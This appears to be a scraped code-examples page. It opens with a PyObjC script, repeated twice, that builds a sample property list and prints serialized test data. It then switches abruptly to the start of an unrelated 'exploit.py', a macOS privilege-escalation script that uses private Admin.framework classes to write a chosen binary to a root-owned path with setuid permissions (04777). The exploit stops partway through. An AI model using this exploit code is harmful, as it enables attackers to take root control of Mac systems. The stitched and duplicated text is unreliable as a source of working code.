    pl[nsstr('aList')] = a = NSMutableArray.alloc().init()
    a.append(nsstr('A'))
    a.append(nsstr('B'))
    a.append(12)
    a.append(32.5)
    aa = NSMutableArray.alloc().init()
    a.append(aa)
    aa.append(1)
    aa.append(2)
    aa.append(3)

    pl[nsstr('aNegativeBigInt')] = -80000000000
    pl[nsstr('aNegativeInt')] = -5
    pl[nsstr('aString')] = nsstr('Doodah')

    pl[nsstr('anEmptyDict')] = NSMutableDictionary.alloc().init()

    pl[nsstr('anEmptyList')] = NSMutableArray.alloc().init()

    pl[nsstr('anInt')] = 728

    pl[nsstr('nestedData')] = a = NSMutableArray.alloc().init()
    a.append(b'''<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03''')


    pl[nsstr('someData')] = b'<binary gunk>'

    pl[nsstr('someMoreData')] = b'''<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03'''

    pl[nsstr('\xc5benraa')] = nsstr("That was a unicode key.")

    print("TESTDATA={")
    for fmt_name, fmt_key in FORMATS:
        data, error = NSPropertyListSerialization.dataWithPropertyList_format_options_error_(
            pl, fmt_key, 0, None)
        if data is None:
            print("Cannot serialize", fmt_name, error)

        else:
            print("    %s: binascii.a2b_base64(b'''\n        %s'''),"%(fmt_name, _encode_base64(bytes(data)).decode('ascii')[:-1]))

    print("}")
    print()
def main():
    pl = OrderedDict()

    # Note: pl is an OrderedDict to control the order
    # of keys, and hence have some control on the structure
    # of the output file.
    # New keys should be added in alphabetical order.

    seconds = datetime.datetime(2004, 10, 26, 10, 33, 33, tzinfo=datetime.timezone(datetime.timedelta(0))).timestamp()
    pl[nsstr('aBigInt')] = 2 ** 63 - 44
    pl[nsstr('aDate')] = NSDate.dateWithTimeIntervalSince1970_(seconds)

    pl[nsstr('aDict')] = d = OrderedDict()
    d[nsstr('aFalseValue')] = False
    d[nsstr('aTrueValue')] = True
    d[nsstr('aUnicodeValue')] = "M\xe4ssig, Ma\xdf"
    d[nsstr('anotherString')] = "<hello & 'hi' there!>"
    d[nsstr('deeperDict')] = dd = OrderedDict()
    dd[nsstr('a')] = 17
    dd[nsstr('b')] = 32.5
    dd[nsstr('c')] = a = NSMutableArray.alloc().init()
    a.append(1)
    a.append(2)
    a.append(nsstr('text'))

    pl[nsstr('aFloat')] = 0.5

    pl[nsstr('aList')] = a = NSMutableArray.alloc().init()
    a.append(nsstr('A'))
    a.append(nsstr('B'))
    a.append(12)
    a.append(32.5)
    aa = NSMutableArray.alloc().init()
    a.append(aa)
    aa.append(1)
    aa.append(2)
    aa.append(3)

    pl[nsstr('aNegativeBigInt')] = -80000000000
    pl[nsstr('aNegativeInt')] = -5
    pl[nsstr('aString')] = nsstr('Doodah')

    pl[nsstr('anEmptyDict')] = NSMutableDictionary.alloc().init()

    pl[nsstr('anEmptyList')] = NSMutableArray.alloc().init()

    pl[nsstr('anInt')] = 728

    pl[nsstr('nestedData')] = a = NSMutableArray.alloc().init()
    a.append(b'''<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03''')


    pl[nsstr('someData')] = b'<binary gunk>'

    pl[nsstr('someMoreData')] = b'''<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03<lots of binary gunk>\x00\x01\x02\x03'''

    pl[nsstr('\xc5benraa')] = nsstr("That was a unicode key.")

    print("TESTDATA={")
    for fmt_name, fmt_key in FORMATS:
        data, error = NSPropertyListSerialization.dataWithPropertyList_format_options_error_(
            pl, fmt_key, 0, None)
        if data is None:
            print("Cannot serialize", fmt_name, error)

        else:
            print("    %s: binascii.a2b_base64(b'''\n        %s'''),"%(fmt_name, _encode_base64(bytes(data)).decode('ascii')[:-1]))

    print("}")
    print()
示例#21
0
args = sys.argv

if len(args) != 3:
    print "usage: exploit.py source_binary dest_binary_as_root"
    sys.exit(-1)

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
    raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")

    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()

    # authref with value nil is not accepted on OS X <= 10.8